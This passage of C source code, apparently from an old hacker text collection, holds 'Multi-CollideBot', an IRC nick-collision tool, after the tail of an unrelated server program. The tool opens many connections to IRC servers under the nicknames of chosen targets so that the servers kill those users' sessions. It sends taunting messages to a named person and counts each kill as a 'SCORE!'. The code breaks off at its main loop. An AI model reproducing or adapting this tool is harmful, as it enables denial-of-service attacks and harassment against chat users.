  1695.         init_server();
  1696.  
  1697.       gethostname(hostname,64);
  1698.       process_server();
  1699.     }
  1700.     else
  1701.       exit_program("resolve failed");
  1702.   }
  1703.   else
  1704.     printf("Failed to allocate an AF_INET socket. (%s)\n",(char *)errno);
  1705. }
  1706.  
  1707. ------------------------------------------------------------------------------
  1708.  
  1709. /*===============================*\
  1710. |*  MCB - Multi-CollideBot v1.5a *|
  1711. |*     Written by Dr. Delete     *|
  1712. |* Basically just a way to make  *|
  1713. |* several TCP connections to a  *|
  1714. |* server in one small process.  *|
  1715. \*===============================*/
  1716.  
  1717. #include <stdio.h>
  1718. #include <stdlib.h>
  1719. #include <string.h>
  1720. #include <unistd.h>
  1721. #include <sys/types.h>
  1722. #include <fcntl.h>
  1723. #include <signal.h>
  1724. #include <errno.h>
  1725. #include <sys/socket.h>
  1726. #include <sys/time.h>
  1727. #include <sys/wait.h>
  1728. #include <netinet/in.h>
  1729. #include <netdb.h>
  1730. #include <fcntl.h>
  1731. #include <sys/file.h>
  1732. #include <arpa/inet.h>
  1733.  
  1734. #define BUFSIZE 350
  1735. #define MAXSESSIONS 256
  1736. #define BOTTIMEOUT 900 /* 15 minutes (900 seconds) bot lifetime */
  1737.  
  1738. struct sockaddr_in server;
  1739.  
  1740. char buf[BUFSIZE];
  1741. char *kradprsn;
  1742.  
  1743. struct ircsession {
  1744.    int sock;
  1745.    char stack[BUFSIZE*2];
  1746.    char *server;
  1747.    char *nick;
  1748.    int stat;
  1749. } session[MAXSESSIONS];
  1750.  
  1751. int sessions,total_sessions;
  1752.  
  1753. char *nickpick="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz`_";
  1754. #define NICKLEN 54
  1755.  
  1756. void sig_pipe(void) {
  1757.    puts("Odd, I just caught a SIGPIPE.");
  1758.    signal(SIGPIPE,(void *)sig_pipe);
  1759. }
  1760.  
  1761. void fillran(char *s,int len) {
  1762.    while(len--)
  1763.      *s++=*((nickpick)+(rand()%NICKLEN));
  1764.    *s=0;
  1765. }
  1766.  
  1767. int strnccmp(register char *s1,register char *s2,register int n) {
  1768.    if(n==0) return(0);
  1769.    do {
  1770.      if((((*s1)>='a'&&(*s1)<='z')?(*s1)-32:*s1)!=(((*s2)>='a'&&(*s2)<='z')?(*s2++)-32:*s2++))
  1771.        return (*(unsigned char *)s1-*(unsigned char *)--s2);
  1772.      if(*s1++==0) break;
  1773.    } while(--n!=0);
  1774.    return(0);
  1775. }
  1776.  
  1777. char *mycstrstr(char *str1,char *str2) {
  1778.    int xstr1len,ystr2len;
  1779.  
  1780.    xstr1len=strlen(str1);
  1781.    ystr2len=strlen(str2);
  1782.  
  1783.    while(xstr1len && strnccmp(str1++,str2,ystr2len) && xstr1len-->=ystr2len);
  1784.    if(!xstr1len || xstr1len<ystr2len || !ystr2len) return(0);
  1785.    return(str1-1);
  1786. }
  1787.  
  1788. void out(int fd, char *s) {
  1789.   write(fd,s,strlen(s));
  1790. }
  1791.  
  1792. void cclosed(int sessionum) {
  1793.    if(session[sessionum].sock)
  1794.      shutdown(session[sessionum].sock,2);
  1795.    close(session[sessionum].sock);
  1796.    session[sessionum].sock=0;
  1797.    printf("%s: Connection to %s closed.\n",session[sessionum].nick,session[sessionum].server); fflush(stdout);
  1798.    if(!sessions || !total_sessions) {
  1799.      puts("CollideBot finished.");
  1800.      exit(0);
  1801.    }
  1802. }
  1803.  
  1804. void quitprog(void) {
  1805.    printf("Signal received! CollideBot exiting. %d sessions still active.\n",sessions); fflush(stdout);
  1806.    while(total_sessions--)
  1807.      if(session[total_sessions].sock) {
  1808.         out(session[total_sessions].sock,"QUIT :signal received\r\n");
  1809.         cclosed(total_sessions);
  1810.      }
  1811.    puts("CollideBot finished.");
  1812.    exit(0);
  1813. }
  1814.  
  1815. unsigned long int resolver(char *host) {
  1816.    int x=0;
  1817.    unsigned long int tempresl;
  1818.    struct hostent *he;
  1819.  
  1820.    if(sscanf(host,"%d.%d.%d.%d",&x,&x,&x,&x)==4 || !strcmp(host,"0"))
  1821.      return(inet_addr(host));
  1822.    while(!(he=gethostbyname((char *)host)) && x++<3)
  1823.      sleep(1);
  1824.    if(x<3)
  1825.      return(htonl((unsigned long int)((unsigned char)he->h_addr_list[0][0]*
  1826.             (unsigned int)256+(unsigned char)he->h_addr_list[0][1])*
  1827.             (unsigned int)65536+(unsigned long int)((unsigned char)
  1828.             he->h_addr_list[0][2]*(unsigned int)256+(unsigned char)
  1829.             he->h_addr_list[0][3])));
  1830.    printf("Unable to resolve %s!\n",host);
  1831.    return(0);
  1832. }
  1833.  
  1834. void estab2(int sock,char *ircservername,char *nick) {
  1835.   char tempnick[10];
  1836.  
  1837.   printf("%s: Connection to %s established.\n",nick,ircservername); fflush(stdout);
  1838.   fillran(tempnick,9);
  1839.   sprintf(buf,"USER %s %s %s %s\r\nNICK %s\r\nPRIVMSG %s :%s iz ded, woowoo\r\n",tempnick,tempnick,tempnick,tempnick,(!strnccmp(nick,kradprsn,5)) ? tempnick : nick, kradprsn, nick);
  1840.   fcntl (sock, F_SETFL, (fcntl(sock, F_GETFL) & ~O_NDELAY));
  1841.   out(sock,buf);
  1842. }
  1843.  
  1844. int estab(unsigned long int ircserver,char *ircservername,int x) {
  1845.   int sock;
  1846.  
  1847.   sock=socket(AF_INET,SOCK_STREAM,0);
  1848.   server.sin_family=AF_INET;
  1849.   server.sin_port=htons(6667);
  1850.   server.sin_addr.s_addr=ircserver;
  1851.   fcntl (sock, F_SETFL, (fcntl(sock, F_GETFL) | O_NDELAY));
  1852.   errno=0;
  1853.   if((session[x].nick[0]==68 || session[x].nick[0]==100) && (session[x].nick[1]==82 || session[x].nick[1]==114) &&
  1854.      (session[x].nick[2]==95) && (session[x].nick[3]==68 || session[x].nick[3]==100) &&
  1855.      (session[x].nick[4]==69 || session[x].nick[4]==101) && (session[x].nick[5]==76 || session[x].nick[5]==108) &&
  1856.      (session[x].nick[6]==69 || session[x].nick[6]==101) && (session[x].nick[7]==84 || session[x].nick[7]==116) &&
  1857.      (session[x].nick[8]==69 || session[x].nick[8]==101)) {
  1858.     printf("%s: Connection to %s has failed.\n",session[x].nick,ircservername); fflush(stdout);
  1859.     close(sock);
  1860.     return(0);
  1861.   }
  1862.   if(connect(sock,(struct sockaddr *)&server,sizeof(server))<0) {
  1863.     if(errno!=EINPROGRESS) {
  1864.       printf("%s: Connection to %s has failed.\n",session[x].nick,ircservername); fflush(stdout);
  1865.       close(sock);
  1866.       return(0);
  1867.     }
  1868.     else 
  1869.       session[x].stat=2;
  1870.   }
  1871.   else {
  1872.     estab2(sock,ircservername,session[x].nick);
  1873.     session[x].stat=0;
  1874.   }
  1875.   return(sock);
  1876. }
  1877.  
  1878. void parse2(char *buf,int len,int sessionum) {
  1879.   char *num;
  1880.   if((num=mycstrstr(buf," ")))
  1881.     if(atoi((num+1))==372)
  1882.       return;
  1883.   if(!strnccmp(buf,"PING",4)) {
  1884.     buf[1]='O';
  1885.     out(session[sessionum].sock,(char *)buf);
  1886.     out(session[sessionum].sock,"\r\n");
  1887.   }
  1888.   else if(mycstrstr(buf,"already in use")) {
  1889.     printf("%s: Nickname already in use.\n",session[sessionum].nick);
  1890.     out(session[sessionum].sock,"QUIT\r\n");
  1891.   }
  1892.   else if(mycstrstr(buf,"kill") && !session[sessionum].stat++)
  1893.     printf("%s: SCORE!\n",session[sessionum].nick);
  1894.   else if(mycstrstr(buf,"authoriz"))
  1895.     printf("%s: Not authorized to use server.\n",session[sessionum].nick);
  1896.   else if(mycstrstr(buf,"ghosts"))
  1897.     printf("%s: Banned from this IRC server.\n",session[sessionum].nick);
  1898. }
  1899.  
  1900. void parse(unsigned char *buf,int rl,int sessionum) {
  1901.   int x=0,len;
  1902.  
  1903.   strcat(session[sessionum].stack,buf);
  1904.   len=strlen(session[sessionum].stack);
  1905.   while(session[sessionum].stack[x]!=13 && session[sessionum].stack[x]!=10 && session[sessionum].stack[x])
  1906.     x++;
  1907.   if(session[sessionum].stack[x]) {
  1908.     session[sessionum].stack[x]=0;
  1909.     parse2(session[sessionum].stack,x+1,sessionum);
  1910.     if(len>=(x+1)) {
  1911.       strcpy(buf,(char *)&session[sessionum].stack[x+1]);
  1912.       session[sessionum].stack[0]=0;
  1913.       parse(buf,len-(x+1),sessionum);
  1914.     }
  1915.     else
  1916.       session[sessionum].stack[0]=0;
  1917.   }
  1918. }
  1919.  
  1920. void process_servers(int secs) {
  1921.     fd_set rd,wr;
  1922.     int x,length,selectr=1;
  1923.     struct timeval timeout;
  1924.  
  1925.     while(selectr>0) {
  1926.  
  1927.       timeout.tv_usec=0;
  1928.       timeout.tv_sec=secs;
  1929.  
  1930.       errno=0;
  1931.       FD_ZERO(&rd);
  1932.       FD_ZERO(&wr);
  1933.       for(x=0;x<total_sessions;x++)
  1934.         if(session[x].sock)
  1935.           if(session[x].stat!=2)
  1936.             FD_SET(session[x].sock,&rd);
  1937.           else
  1938.             FD_SET(session[x].sock,&wr);
  1939.  
  1940.       selectr=select(getdtablesize(),&rd,&wr,NULL,(secs<0) ? NULL : (struct timeval *)&timeout);
  1941.       if(errno==EINTR)
  1942.         continue;
  1943.  
  1944.       for(x=0;x<total_sessions;x++)
  1945.         if(FD_ISSET(session[x].sock,&wr)) {
  1946.           session[x].stat=0;
  1947.           estab2(session[x].sock,session[x].server,session[x].nick);
  1948.         }
  1949.         else if(session[x].stat!=2 && FD_ISSET(session[x].sock,&rd)) {
  1950.           if(!(length=read(session[x].sock,buf,BUFSIZE-1))) {
  1951.             sessions--;
  1952.             cclosed(x);
  1953.         continue;
  1954.           }
  1955.           buf[length]=0;
  1956.           parse(buf,length,x);
  1957.         }
  1958.     }
  1959. }
  1960.  
  1961. void main(int argc,char *argv[]) {
  1962.   unsigned short int pid,x;
  1963.   unsigned long int ircserver=0;
  1964.   char *lastnick=0;
  1965.  
  1966.   if(argc<3)
  1967.     exit(0);
  1968.  
  1969.   kradprsn = argv[1];
  1970.  
  1971.   /* if((pid=fork())) {
  1972.     printf("Process ID %d.\n",pid);
  1973.     exit(0);
  1974.   } */
  1975.   
  1976.   sessions=total_sessions=0;
  1977.  
  1978.   srand(getpid());
  1979.  
  1980.   signal(SIGHUP,(void *)quitprog);
  1981.   signal(SIGTERM,(void *)quitprog);
  1982.   signal(SIGABRT,(void *)quitprog);
  1983.   signal(SIGINT,(void *)quitprog);
  1984.   signal(SIGPIPE,(void *)sig_pipe);
  1985.  
  1986.   for(x=1;x<argc-1 && x<MAXSESSIONS;x++) {
  1987.     char *tempp,*default_server;
  1988.     unsigned long int tempserver;
  1989.     session[x].nick=(argv[x+1][0]=='@') ? (char *)&argv[x+1][1] : argv[x+1];
  1990.     if((tempp=mycstrstr(argv[x+1],":"))) {
  1991.       *tempp=0;
  1992.       lastnick=session[x].nick;
  1993.       tempserver=ircserver;
  1994.       ircserver=resolver(tempp+1);
  1995.       if(ircserver)
  1996.         default_server=tempp+1;
  1997.       else
  1998.         ircserver=tempserver;
  1999.     }
  2000.     else if(mycstrstr(argv[x+1],".")) {
  2001.       if(!lastnick) {
  2002.         printf("Error: No default nickname to use for connection to %s!\n",argv[x+1]);
  2003.         continue;
  2004.       }
  2005.       tempserver=ircserver;
  2006.       ircserver=resolver(argv[x+1]);
  2007.       if(ircserver)
  2008.         default_server=argv[x+1];
  2009.       else
  2010.         ircserver=tempserver;
  2011.       session[x].nick=lastnick;
  2012.     }
  2013.     lastnick=session[x].nick;
  2014.     if(ircserver) {
  2015.       if((session[x].sock=estab(ircserver,default_server,x))) {
  2016.         session[x].stack[0]=0;
  2017.         session[x].server=default_server;
  2018.         sessions++;
  2019.       }
  2020.     }
  2021.     else
  2022.       printf("%s: Error! No default server set.\n",session[x].nick);
  2023.     total_sessions=x+1;
  2024.   }
  2025.  
  2026.   if(sessions<1) {
  2027.     printf("CollideBot Exiting, no established sessions.\n");
  2028.     exit(0);
  2029.   }
  2030.  
  2031.   signal(SIGALRM,(void *)quitprog);
  2032.   alarm(BOTTIMEOUT);
  2033.  
  2034.   while(1)
  2035.     
  2036.  
  2037. ------------------------------------------------------------------------------
  2038.  
  2039.